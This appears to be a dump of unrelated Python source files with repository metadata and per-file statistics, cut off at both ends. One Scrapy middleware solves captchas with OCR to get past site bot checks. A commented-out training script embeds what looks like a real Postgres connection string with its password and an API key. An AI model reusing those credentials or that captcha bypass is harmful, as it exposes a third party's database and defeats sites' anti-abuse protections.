ValueError if no bound is provided or lower_bound is bigger than
higher_bound
'''
if lower_bound is not None and higher_bound is not None \
and lower_bound > higher_bound:
raise ValueError("clip: higher_bound must be bigger than lower_bound")
if lower_bound is None and higher_bound is None:
def __clip(i): return i
elif lower_bound is not None and higher_bound is not None:
def __clip(i): return max(min(i, higher_bound), lower_bound)
elif lower_bound is None:
def __clip(i): return min(i, higher_bound)
elif higher_bound is None:
def __clip(i): return max(i, lower_bound)
def _clip(source):
return source.pipe(
rs.ops.map(__clip),
)
return _clip
| 29.282609 | 79 | 0.634001 | 201 | 1,347 | 4.069652 | 0.308458 | 0.146699 | 0.07335 | 0.06846 | 0.277506 | 0.233496 | 0.209046 | 0.178484 | 0.102689 | 0.102689 | 0 | 0.018634 | 0.282851 | 1,347 | 45 | 80 | 29.933333 | 0.828157 | 0.393467 | 0 | 0 | 0 | 0 | 0.066667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.055556 | 0.277778 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
eef538241c1b4dbdf5481ca1ebdb7701e55d3b82 | 462 | py | Python | examples/mongodb/remove_index.py | lanahuong/dubrayn.github.io | fd78edb38442966395161cfcf9dfd9b464703ddd | [
"MIT"
] | 7 | 2019-04-12T07:46:05.000Z | 2022-03-30T06:11:47.000Z | examples/mongodb/remove_index.py | lanahuong/dubrayn.github.io | fd78edb38442966395161cfcf9dfd9b464703ddd | [
"MIT"
] | 3 | 2018-03-05T20:35:50.000Z | 2022-03-28T13:09:44.000Z | examples/mongodb/remove_index.py | lanahuong/dubrayn.github.io | fd78edb38442966395161cfcf9dfd9b464703ddd | [
"MIT"
] | 10 | 2017-10-04T07:05:51.000Z | 2020-12-15T12:08:32.000Z | #!/usr/bin/env python3
from pymongo import MongoClient
import pymongo.errors
username, password, host, dbname = 'user0', 'pwd0', '127.0.0.1', 'test_db'
client = MongoClient('mongodb://%s:%s@%s/%s' % (username, password, host, dbname))
try:
db = client.test_db
pycollection = db.pycollection
pycollection.drop_index('time_1')
for i in pycollection.list_indexes():
print(i)
except pymongo.errors.OperationFailure as e:
print("ERROR: %s" % (e))
| 23.1 | 82 | 0.699134 | 65 | 462 | 4.892308 | 0.6 | 0.018868 | 0.125786 | 0.163522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025253 | 0.142857 | 462 | 19 | 83 | 24.315789 | 0.777778 | 0.045455 | 0 | 0 | 0 | 0 | 0.138636 | 0.047727 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.166667 | 0.166667 | 0 | 0.166667 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
e10a93ef9043132c95a3c19a3af7aa4a806913e6 | 663 | py | Python | setup.py | SiriusKoan/RandomUsers | ae23a801a9b7bb80652bcb73d271a8107a69bf9a | [
"MIT"
] | 2 | 2021-06-24T13:53:23.000Z | 2022-02-16T09:11:44.000Z | setup.py | SiriusKoan/RandomUsers | ae23a801a9b7bb80652bcb73d271a8107a69bf9a | [
"MIT"
] | null | null | null | setup.py | SiriusKoan/RandomUsers | ae23a801a9b7bb80652bcb73d271a8107a69bf9a | [
"MIT"
] | 1 | 2021-06-24T13:59:33.000Z | 2021-06-24T13:59:33.000Z | from setuptools import setup, find_packages
setup(
name="RandomUsers",
description="A simple tool helps you generate fake data.",
long_description=open("README.md").read(),
long_description_content_type="text/markdown",
version="1.3",
author="SiriusKoan",
author_email="k.peihsun@gmail.com",
packages=find_packages(),
url="https://github.com/SiriusKoan/RandomUsers",
license="MIT",
install_requires=[],
classifiers=[
'License :: OSI Approved :: MIT License',
'Programming Language :: Python',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.7',
],
)
| 30.136364 | 62 | 0.651584 | 72 | 663 | 5.888889 | 0.694444 | 0.134434 | 0.176887 | 0.122642 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00947 | 0.20362 | 663 | 21 | 63 | 31.571429 | 0.793561 | 0 | 0 | 0 | 1 | 0 | 0.440422 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.05 | 0 | 0.05 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e10b418c21c0b19433ccab0bc82501b677a3eb67 | 1,563 | py | Python | qmhub/qmtools/torch.py | panxl/qmhub | bbe58c9194854bb55c6912d365d32c2b291c4e24 | [
"MIT"
] | null | null | null | qmhub/qmtools/torch.py | panxl/qmhub | bbe58c9194854bb55c6912d365d32c2b291c4e24 | [
"MIT"
] | 1 | 2021-09-17T18:21:22.000Z | 2021-09-17T18:21:22.000Z | qmhub/qmtools/torch.py | panxl/qmhub | bbe58c9194854bb55c6912d365d32c2b291c4e24 | [
"MIT"
] | null | null | null | import numpy as np
import torch
from .qmbase import QMBase
from ..units import CODATA08_BOHR_TO_A, CODATA08_HARTREE_TO_EV
class Torch(QMBase):
default_options = {'model': None}
def __init__(self, **kwargs):
super().__init__(**kwargs)
self._model = torch.jit.load(self.options['model']).double()
def _get_qm_cache(self, *args, output=None):
return self.gen_input()
def gen_input(self):
"""Generate input file for QM software."""
args = (
torch.from_numpy(np.ascontiguousarray(self.qm_positions.T)[None]),
torch.from_numpy(self.qm_element_ids[:]),
torch.from_numpy(self.mm_positions.T[None]),
torch.from_numpy(self.mm_charges[None]),
)
return self._model(*args)
def _get_qm_energy(self, qm_cache):
"""Get QM energy from output of QM calculation."""
return qm_cache[0][0].detach().numpy() / CODATA08_HARTREE_TO_EV
def _get_qm_energy_gradient(self, qm_cache):
"""Get QM energy gradient from output of QM calculation."""
return qm_cache[1][0].detach().numpy().T / (CODATA08_HARTREE_TO_EV / CODATA08_BOHR_TO_A)
def _get_mm_esp(self, qm_cache):
"""Get electrostatic potential at MM atoms in the near field from QM density."""
mm_esp = np.zeros((4, len(self.mm_charges)))
mm_esp[0] = qm_cache[2][0].detach().numpy() / CODATA08_HARTREE_TO_EV
mm_esp[1:] = qm_cache[3][0].detach().numpy().T / (CODATA08_HARTREE_TO_EV / CODATA08_BOHR_TO_A)
return mm_esp
| 33.978261 | 102 | 0.652591 | 225 | 1,563 | 4.217778 | 0.302222 | 0.059009 | 0.089568 | 0.100105 | 0.381454 | 0.358272 | 0.311907 | 0.179136 | 0.099052 | 0.099052 | 0 | 0.022077 | 0.21753 | 1,563 | 45 | 103 | 34.733333 | 0.753884 | 0.134357 | 0 | 0 | 0 | 0 | 0.007508 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.142857 | 0.035714 | 0.607143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
e10c83d9021478969ae23f4fc869de70643c4a70 | 700 | py | Python | panoptes/webapp/services/forms.py | lesingerouge/Panoptes | 4be798b31f659694b83533f8df520d674756afd7 | [
"MIT"
] | null | null | null | panoptes/webapp/services/forms.py | lesingerouge/Panoptes | 4be798b31f659694b83533f8df520d674756afd7 | [
"MIT"
] | null | null | null | panoptes/webapp/services/forms.py | lesingerouge/Panoptes | 4be798b31f659694b83533f8df520d674756afd7 | [
"MIT"
] | null | null | null | # framework imports
from flask.ext.wtf import Form
from wtforms import StringField, BooleanField, SubmitField, SelectField, ValidationError
from wtforms.validators import Required, EqualTo
#app imports
from ..config import Config
class ServiceForm(Form):
server = StringField(label="IP server", validators=[Required('Campul trebuie completat!')])
port = StringField(label="Port server", validators=[Required('Campul trebuie completat!')])
service_type = SelectField(label="Tip serviciu", choices=[(x,x.upper()) for x in Config.SERVICE_TYPES])
authentication = SelectField(label="Autentificare", choices=[(False,'NU'),(True,'DA')], coerce=bool)
submit = SubmitField('Salveaza')
| 43.75 | 107 | 0.754286 | 81 | 700 | 6.493827 | 0.592593 | 0.041825 | 0.091255 | 0.114068 | 0.174905 | 0.174905 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117143 | 700 | 15 | 108 | 46.666667 | 0.851133 | 0.04 | 0 | 0 | 0 | 0 | 0.15994 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
e1173764715c03fdac7c8e527d6cc2d17173ef16 | 329 | py | Python | repos/system_upgrade/common/models/sysctlvariablesfacts.py | sm00th/leapp-repository | 1c171ec3a5f9260a3c6f84a9b15cad78a875ac61 | [
"Apache-2.0"
] | 21 | 2018-11-20T15:58:39.000Z | 2022-03-15T19:57:24.000Z | repos/system_upgrade/common/models/sysctlvariablesfacts.py | sm00th/leapp-repository | 1c171ec3a5f9260a3c6f84a9b15cad78a875ac61 | [
"Apache-2.0"
] | 732 | 2018-11-21T18:33:26.000Z | 2022-03-31T16:16:24.000Z | repos/system_upgrade/common/models/sysctlvariablesfacts.py | sm00th/leapp-repository | 1c171ec3a5f9260a3c6f84a9b15cad78a875ac61 | [
"Apache-2.0"
] | 85 | 2018-11-20T17:55:00.000Z | 2022-03-29T09:40:31.000Z | from leapp.models import Model, fields
from leapp.topics import SystemFactsTopic
class SysctlVariable(Model):
topic = SystemFactsTopic
name = fields.String()
value = fields.String()
class SysctlVariablesFacts(Model):
topic = SystemFactsTopic
sysctl_variables = fields.List(fields.Model(SysctlVariable))
| 20.5625 | 64 | 0.756839 | 34 | 329 | 7.294118 | 0.529412 | 0.072581 | 0.209677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164134 | 329 | 15 | 65 | 21.933333 | 0.901818 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.222222 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0107a41a4385e37914b37fdfb986a1096b51290d | 582 | py | Python | vis_imagine_static_voxels/lib/modules/inf_net.py | mihirp1998/EmbLang | 169b0468ccda554896973bcc226afb3e762a70e7 | [
"Apache-2.0"
] | 3 | 2020-07-12T02:15:27.000Z | 2021-07-18T06:00:49.000Z | vis_imagine_static_voxels/lib/modules/inf_net.py | mihirp1998/EmbLang | 169b0468ccda554896973bcc226afb3e762a70e7 | [
"Apache-2.0"
] | 1 | 2021-07-18T06:00:10.000Z | 2021-07-24T11:51:17.000Z | vis_imagine_static_voxels/lib/modules/inf_net.py | mihirp1998/EmbLang | 169b0468ccda554896973bcc226afb3e762a70e7 | [
"Apache-2.0"
] | null | null | null | import tensorflow as tf
class InfNet(tf.keras.Model):
def __init__(self, hiddim):
super(InfNet, self).__init__()
self.infer = tf.keras.Sequential([
tf.keras.layers.Conv3D(hiddim, 3, 1, "same"),
tf.keras.layers.Activation("elu"),
tf.keras.layers.Conv3D(hiddim//8, 3, 1, "same"),
tf.keras.layers.Activation("elu"),
tf.keras.layers.Conv3D(hiddim//8, 1, 1, "same")])
@tf.function
def call(self, x):
x = tf.expand_dims(x,0)
x = self.infer(x)
return x | 36.375 | 71 | 0.542955 | 76 | 582 | 4.039474 | 0.394737 | 0.159609 | 0.211726 | 0.185668 | 0.459283 | 0.37785 | 0.37785 | 0.37785 | 0.37785 | 0.37785 | 0 | 0.029557 | 0.302406 | 582 | 16 | 72 | 36.375 | 0.726601 | 0 | 0 | 0.133333 | 0 | 0 | 0.030875 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.066667 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
010a2193277709d45cf0925dedd67ba5d5ee3f89 | 195 | py | Python | src/python/codebay/l2tpserver/testclient/constants.py | nakedible/vpnease-l2tp | 0fcda6a757f2bc5c37f4753b3cd8b1c6d282db5c | [
"WTFPL"
] | 5 | 2015-04-16T08:36:17.000Z | 2017-05-12T17:20:12.000Z | src/python/codebay/l2tpserver/testclient/constants.py | nakedible/vpnease-l2tp | 0fcda6a757f2bc5c37f4753b3cd8b1c6d282db5c | [
"WTFPL"
] | null | null | null | src/python/codebay/l2tpserver/testclient/constants.py | nakedible/vpnease-l2tp | 0fcda6a757f2bc5c37f4753b3cd8b1c6d282db5c | [
"WTFPL"
] | 4 | 2015-03-19T14:39:51.000Z | 2019-01-23T08:22:55.000Z | """Constants for testclient."""
# these have different places than in the gateway
PLUTO_PSK = '/tmp/psk.txt'
PLUTO_PIDFILE = '/tmp/pluto.pid'
OPENL2TP_PIDFILE = '/tmp/openl2tp.pid'
POOL_SIZE=5
| 21.666667 | 49 | 0.738462 | 29 | 195 | 4.827586 | 0.724138 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017544 | 0.123077 | 195 | 8 | 50 | 24.375 | 0.80117 | 0.379487 | 0 | 0 | 0 | 0 | 0.373913 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
01133f8364e36976d7dc6ae4fdd98bc49592779a | 8,157 | py | Python | scratch/scratch/middlewares.py | ketanpujare/scratch | d150c908004e45c2c936c99a64424e9aca41c5fe | [
"MIT"
] | null | null | null | scratch/scratch/middlewares.py | ketanpujare/scratch | d150c908004e45c2c936c99a64424e9aca41c5fe | [
"MIT"
] | null | null | null | scratch/scratch/middlewares.py | ketanpujare/scratch | d150c908004e45c2c936c99a64424e9aca41c5fe | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Define here the models for your spider middleware
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/spider-middleware.html
from scrapy import signals
from scrapy.exceptions import IgnoreRequest
from urllib.parse import parse_qsl,urlencode,urlsplit,urlunsplit
#Captcha
from io import BytesIO
from PIL import Image
from pyocr.libtesseract import image_to_string
from re import sub
class CaptchaStatus():
NOTSTART = 0
GETCAPTCHA = 1
VERIFY = 2
SOLVED = 3
class Captcha():
def __init__(self):
self.status = CaptchaStatus.NOTSTART
self.tries = 0
def load(self):
return self.request.replace(url=self.captcha_url,body=None,method='GET')
def solve(self,captcha):
img = Image.open(BytesIO(captcha))
return sub('[^A-Za-z0-9]','',(image_to_string(img) or '').strip())
def is_solution_valid(captcha_solution):
return True # or False
def is_captcha_solved(response):
return True # or False
def verify_solution(self,solution):
def add_solution(body):
request_paras = parse_qsl(body,keep_blank_values=True)
return [(self.param_name,solution)] + list(
filter(lambda x: x[0] != self.param_name, request_paras))
if self.request.method != "GET":
return self.request.replace(body=None,
formdata=add_solution(self.request.body.decode()))
urlparts = list(urlsplit(self.request.url))
urlparts[3] = urlencode(add_solution(urlparts[3]))
return self.request.replace(url=urlunsplit(urlparts))
class CaptchaDownloaderMiddleware(object):
# Not all methods need to be defined. If a method is not defined,
# scrapy acts as if the downloader middleware does not modify the
# passed objects.
def load_captcha(self,captcha):
captcha.status = CaptchaStatus.GETCAPTCHA
request = captcha.load()
request.meta.setdefault('captcha',captcha)
request.meta.setdefault('cookiejar',captcha.request.meta['cookiejar'])
request.dont_filter = True
return request
def verify_captcha_solution(self,captcha,captcha_solution):
captcha.status = CaptchaStatus.VERIFY
request = captcha.verify_solution(captcha_solution)
request.meta.setdefault('captcha',captcha)
request.meta.setdefault('cookiejar',captcha.request.meta['cookiejar'])
request.dont_filter = True
return request
@classmethod
def from_crawler(cls, crawler):
# This method is used by Scrapy to create your spiders.
s = cls()
crawler.signals.connect(s.spider_opened, signal=signals.spider_opened)
return s
def process_request(self, request, spider):
if 'captcha' in request.meta:
captcha = request.meta['captcha']
if captcha.status == CaptchaStatus.NOTSTART:
captcha.status = CaptchaStatus.GETCAPTCHA
captcha.request = request
return self.load_captcha(captcha)
elif captcha.status == CaptchaStatus.GETCAPTCHA:
captcha.tries += 1
if captcha.max_tries < captcha.tries:
raise IgnoreRequest
return None
def process_response(self, request, response, spider):
if 'captcha' in request.meta:
captcha = request.meta['captcha']
if captcha.status == CaptchaStatus.GETCAPTCHA:
if response.headers.get('Content-Type',b'').startswith(b'image/'):
captcha_solution = captcha.solve(response.body)
if captcha.is_solution_valid(captcha_solution):
return self.verify_captcha_solution(captcha,captcha_solution)
return self.load_captcha(captcha)
elif captcha.status == CaptchaStatus.VERIFY:
if captcha.is_captcha_solved(response):
captcha.status = CaptchaStatus.SOLVED
return response
return self.load_captcha(captcha)
return response
def process_exception(self, request, exception, spider):
# Called when a download handler or a process_request()
# (from other downloader middleware) raises an exception.
# Must either:
# - return None: continue processing this exception
# - return a Response object: stops process_exception() chain
# - return a Request object: stops process_exception() chain
pass
def spider_opened(self, spider):
spider.logger.info('Spider opened: %s' % spider.name)
class ScratchSpiderMiddleware(object):
# Not all methods need to be defined. If a method is not defined,
# scrapy acts as if the spider middleware does not modify the
# passed objects.
@classmethod
def from_crawler(cls, crawler):
# This method is used by Scrapy to create your spiders.
s = cls()
crawler.signals.connect(s.spider_opened, signal=signals.spider_opened)
return s
def process_spider_input(self, response, spider):
# Called for each response that goes through the spider
# middleware and into the spider.
# Should return None or raise an exception.
return None
def process_spider_output(self, response, result, spider):
# Called with the results returned from the Spider, after
# it has processed the response.
# Must return an iterable of Request, dict or Item objects.
for i in result:
yield i
def process_spider_exception(self, response, exception, spider):
# Called when a spider or process_spider_input() method
# (from other spider middleware) raises an exception.
# Should return either None or an iterable of Response, dict
# or Item objects.
pass
def process_start_requests(self, start_requests, spider):
# Called with the start requests of the spider, and works
# similarly to the process_spider_output() method, except
# that it doesn’t have a response associated.
# Must return only requests (not items).
for r in start_requests:
yield r
def spider_opened(self, spider):
spider.logger.info('Spider opened: %s' % spider.name)
class ScratchDownloaderMiddleware(object):
# Not all methods need to be defined. If a method is not defined,
# scrapy acts as if the downloader middleware does not modify the
# passed objects.
@classmethod
def from_crawler(cls, crawler):
# This method is used by Scrapy to create your spiders.
s = cls()
crawler.signals.connect(s.spider_opened, signal=signals.spider_opened)
return s
def process_request(self, request, spider):
# Called for each request that goes through the downloader
# middleware.
# Must either:
# - return None: continue processing this request
# - or return a Response object
# - or return a Request object
# - or raise IgnoreRequest: process_exception() methods of
# installed downloader middleware will be called
return None
def process_response(self, request, response, spider):
# Called with the response returned from the downloader.
# Must either;
# - return a Response object
# - return a Request object
# - or raise IgnoreRequest
return response
def process_exception(self, request, exception, spider):
# Called when a download handler or a process_request()
# (from other downloader middleware) raises an exception.
# Must either:
# - return None: continue processing this exception
# - return a Response object: stops process_exception() chain
# - return a Request object: stops process_exception() chain
pass
def spider_opened(self, spider):
spider.logger.info('Spider opened: %s' % spider.name)
| 36.253333 | 85 | 0.648032 | 954 | 8,157 | 5.450734 | 0.203354 | 0.025385 | 0.04 | 0.027692 | 0.517115 | 0.478269 | 0.464423 | 0.440962 | 0.440962 | 0.399423 | 0 | 0.002027 | 0.274243 | 8,157 | 224 | 86 | 36.415179 | 0.876351 | 0.299865 | 0 | 0.462185 | 0 | 0 | 0.029198 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.210084 | false | 0.02521 | 0.058824 | 0.05042 | 0.529412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
012b88266e4ed6ba3ae3bdddaf8739c3e5eef441 | 2,017 | py | Python | data_engineering/training.py | LambdaSchool-Post-Here-1/DS | e90206008129fcefbebe832a73115f46ea288bdb | [
"MIT"
] | null | null | null | data_engineering/training.py | LambdaSchool-Post-Here-1/DS | e90206008129fcefbebe832a73115f46ea288bdb | [
"MIT"
] | 7 | 2020-05-29T04:16:48.000Z | 2020-05-29T04:23:55.000Z | data_engineering/training.py | LambdaSchool-Post-Here-1/DS | e90206008129fcefbebe832a73115f46ea288bdb | [
"MIT"
] | null | null | null | """
Baseline training file used in app production
----------------OBSOLETE----------------
import os
import sqlite3
from sklearn.linear_model import LogisticRegression
from basilica import Connection
import psycopg2
# Load in basilica api key
API_KEY = "d3c5e936-18b0-3aac-8a2c-bf95511eaaa5"
# Filepath for database
DATABASE_URL = "postgres://khqrpuidioocyy:28306f6ac214b8c5ff675ab1e38ed6007d0b810d0a538df3e0db3da0f3cde717@ec2-18-210-214-86.compute-1.amazonaws.com:5432/d1jb037n8m5r20"
# Heroku postgresql credentials
DB_NAME = "d1jb037n8m5r20"
DB_USER = "khqrpuidioocyy"
DB_PASSWORD = "28306f6ac214b8c5ff675ab1e38ed6007d0b810d0a538df3e0db3da0f3cde717"
DB_HOST = "ec2-18-210-214-86.compute-1.amazonaws.com"
# Connect to basilica for embedding text
basilica_connection = Connection(API_KEY)
sql_connection = psycopg2.connect(dbname=DB_NAME, user=DB_USER, password=DB_PASSWORD, host=DB_HOST)
sql_cursor = sql_connection.cursor()
def train_model():
# SQL commands to select all and delete null
select_data =
SELECT
*
FROM
"postgresql-shallow-75985";
# breakpoint()
# print(data)
# Execute select all commands
sql_cursor.execute(select_data)
data = sql_cursor.fetchall()
# Ensure the select command is working
# for row in data:
# print(f"\nSubreddits: {row['subreddit']}")
# print(f"\nTest: {row['Text']}")
print("TRAINING THE MODEL...")
subreddits = []
text_embeddings = []
# breakpoint()
for row in data:
subreddits.append(row[1])
embedding = basilica_connection.embed_sentence(row[2], model="reddit")
text_embeddings.append(embedding)
# breakpoint()
# print(subreddits, text_embeddings)
classifier = LogisticRegression()
classifier.fit(text_embeddings, subreddits)
return classifier
if __name__ == "__main__":
classifier = train_model()
# breakpoint()
""" | 25.858974 | 169 | 0.679722 | 214 | 2,017 | 6.238318 | 0.453271 | 0.041948 | 0.011985 | 0.016479 | 0.049438 | 0.049438 | 0.049438 | 0.049438 | 0.049438 | 0 | 0 | 0.091138 | 0.211205 | 2,017 | 78 | 170 | 25.858974 | 0.747957 | 0.992067 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
012cca8b2f2ae917ecd022a49a3225d442c3d42d | 226 | py | Python | random/longestword.py | Dmendoza3/Phyton | e6c563609724b2dadcd767d2bfc291090ac2f58e | [
"MIT"
] | null | null | null | random/longestword.py | Dmendoza3/Phyton | e6c563609724b2dadcd767d2bfc291090ac2f58e | [
"MIT"
] | null | null | null | random/longestword.py | Dmendoza3/Phyton | e6c563609724b2dadcd767d2bfc291090ac2f58e | [
"MIT"
] | null | null | null | def longestWord(sentence):
wordArray = sentence.split(" ")
longest = ""
for word in wordArray:
if(len(word) >= len(longest)):
longest = word
return longest
print(longestWord("Hello World")) | 25.111111 | 38 | 0.610619 | 24 | 226 | 5.75 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.261062 | 226 | 9 | 39 | 25.111111 | 0.826347 | 0 | 0 | 0 | 0 | 0 | 0.052863 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.25 | 0.125 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
012d925b741a830b49b28f9e5cc12ddd713c5a86 | 82 | py | Python | ABC189/A.py | shimomura314/AtcoderCodes | db1d62a7715f5f1b3c40eceff8d34f0f34839f41 | [
"MIT"
] | null | null | null | ABC189/A.py | shimomura314/AtcoderCodes | db1d62a7715f5f1b3c40eceff8d34f0f34839f41 | [
"MIT"
] | null | null | null | ABC189/A.py | shimomura314/AtcoderCodes | db1d62a7715f5f1b3c40eceff8d34f0f34839f41 | [
"MIT"
] | null | null | null | c = str(input())
if c[0] == c[1] == c[2]:
print("Won")
else:
print("Lost") | 16.4 | 24 | 0.463415 | 15 | 82 | 2.533333 | 0.733333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047619 | 0.231707 | 82 | 5 | 25 | 16.4 | 0.555556 | 0 | 0 | 0 | 0 | 0 | 0.084337 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.4 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
012e3ae44d16a5967e356fb6e879542b66a2882b | 1,190 | py | Python | abacusai/prediction_input.py | Ankit-RealityEngines/api-python | 3627048d31df5972c5777de2a1c1211ea06a8804 | [
"MIT"
] | null | null | null | abacusai/prediction_input.py | Ankit-RealityEngines/api-python | 3627048d31df5972c5777de2a1c1211ea06a8804 | [
"MIT"
] | null | null | null | abacusai/prediction_input.py | Ankit-RealityEngines/api-python | 3627048d31df5972c5777de2a1c1211ea06a8804 | [
"MIT"
] | null | null | null | from .return_class import AbstractApiClass
from .prediction_dataset import PredictionDataset
from .prediction_feature_group import PredictionFeatureGroup
class PredictionInput(AbstractApiClass):
"""
Batch inputs
"""
def __init__(self, client, featureGroupDatasetIds=None, datasetIdRemap=None, featureGroups={}, datasets={}):
super().__init__(client, None)
self.feature_group_dataset_ids = featureGroupDatasetIds
self.dataset_id_remap = datasetIdRemap
self.feature_groups = client._build_class(
PredictionFeatureGroup, featureGroups)
self.datasets = client._build_class(PredictionDataset, datasets)
def __repr__(self):
return f"PredictionInput(feature_group_dataset_ids={repr(self.feature_group_dataset_ids)}, dataset_id_remap={repr(self.dataset_id_remap)}, feature_groups={repr(self.feature_groups)}, datasets={repr(self.datasets)})"
def to_dict(self):
return {'feature_group_dataset_ids': self.feature_group_dataset_ids, 'dataset_id_remap': self.dataset_id_remap, 'feature_groups': self._get_attribute_as_dict(self.feature_groups), 'datasets': self._get_attribute_as_dict(self.datasets)}
| 49.583333 | 243 | 0.768908 | 134 | 1,190 | 6.38806 | 0.268657 | 0.084112 | 0.110981 | 0.128505 | 0.257009 | 0.226636 | 0.093458 | 0.093458 | 0 | 0 | 0 | 0 | 0.135294 | 1,190 | 23 | 244 | 51.73913 | 0.831876 | 0.010084 | 0 | 0 | 0 | 0.066667 | 0.231434 | 0.196028 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0.133333 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
01424a48d9790e004867d38c2da40311f1d552a8 | 230 | py | Python | cgdms/observables.py | Jonahowns/oxTorch_prototype | e6c7c393b1100bc8604bd9ffc7a70c9c77e9e531 | [
"MIT"
